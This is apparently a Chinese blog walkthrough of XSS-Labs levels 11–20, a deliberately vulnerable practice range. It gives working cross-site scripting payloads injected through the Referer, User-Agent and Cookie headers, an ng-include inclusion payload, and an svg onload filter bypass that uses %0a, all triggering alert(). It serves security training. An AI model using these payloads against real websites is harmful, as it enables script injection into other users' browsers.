XSS-Labs
- 索引
- Level-11
- 题解
- Level-12
- 题解
- Level-13
- 题解
- Level-14
- 题解
- Level-15
- 题解
- Level-16
- 题解
- Level-17
- 题解
- Level-18~20
- 题解
靶场部署在 VMware - Win7。
靶场地址:https://github.com/do0dl3/xss-labs
只要手动注入恶意 JavaScript 脚本成功,就可以证明 xss 漏洞存在。
最简单的验证方法:<script>alert("xss");</script>
索引
- Level-11:Referer 头传递 payload。
- Level-12:User-Agent 头传递 payload。
- Level-13:Cookie 头传递 payload。
- Level-14:图片 exif xss 漏洞。
- Level-15:
ng-include
利用。 - Level-16:换行(%0a)代替空格绕过。
- Level-17:flash 插件与 embed 标签。
- Level-18 ~ 20:flash 插件相关 xss 漏洞。
Level-11
题解
先看看网页源码。
<input>
标签有四个值,都做了隐藏处理。其中第四个名为 t_ref 的标签是 http 头中 referer 的参数。
先 GET 与 POST 传参测试一下前三个标签能不能传值。
GET:
url + ?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
POST:
t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
结果是都不能赋值。那就只能通过 referer 头传递 payload。
Referer: " οnfοcus=javascript:alert() type="text
Level-12
题解
看一眼源码。一眼 User-Agent 头。
那就直接上 payload。
User-Agent: " οnfοcus=javascript:alert() type="text
Level-13
题解
与 Level-11 和 Level-12 类似。利用 Cookie 头构造 payload。
Cookie: user=" οnclick=alert() type="text
Level-14
题解
这题会定时转跳到一个已经挂了的网站。
看了其他文章,有关图片 exif xss 漏洞。反正这题是没法做了,了解一下即可。
《xss-labs靶场-第十四关 iframe和exif xss漏洞》:
https://www.freebuf.com/articles/web/282983.html
《XSS挑战之旅–游戏通关攻略》:
https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12
Level-15
题解
查看源码,可以看到传递的参数在代码中的位置。
ng-include
:就是文件包含的意思,用来包含外部文件,如果包含的内容是地址,需要加引号。可以无视 html 实体化。
包含第一关看看,这里根据实际路径进行更改。
url + ?src='/lab/xss/level1.php'
所以可以包含之前的一关并对其传参来进行 xss。
这里不能包含直接弹窗的代码,如 <script>
,但是可以利用能间接弹窗的代码,比如 <a>
、<input>
、<img>
、<p>
标签等。
payload:
url + ?src='/lab/xss/level1.php?name=<img src=level15.png οnmοuseοver=alert()>'
Level-16
题解
先测试一下关键字:
url + ?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j
过滤了很多东西,【/】也被过滤了,空格也被 html 实体化。
不过可以使用回车换行(%0a)代替空格。
payload:
url + ?keyword=<svg%0Aonload=alert(1)>
Level-17
题解
这题主要考察 flash。需要使用支持 flash 插件的浏览器。也考察 embed 标签。
解题方法没什么新颖的。
可以参考:
《xss-labs靶场实战全通关详细过程》:
https://blog.csdn.net/l2872253606/article/details/125638898
Level-18~20
题解
没想到最后几关都是有关 flash 插件的,甚至还涉及反汇编…
直接参考大佬文章吧,毕竟 flash 插件可以认为是过时了…
《xss-labs靶场实战全通关详细过程》:
https://blog.csdn.net/l2872253606/article/details/125638898
Adobe 公司宣布将于 2020 年停止支持 Flash Player,因为 Flash 插件存在许多安全漏洞和缺陷,对于计算机和浏览器存在潜在的安全风险。
大多数现代浏览器已经默认禁用了 Flash 插件。
若问相思甚了期,除非相见时。
——《长相思》(宋)晏几道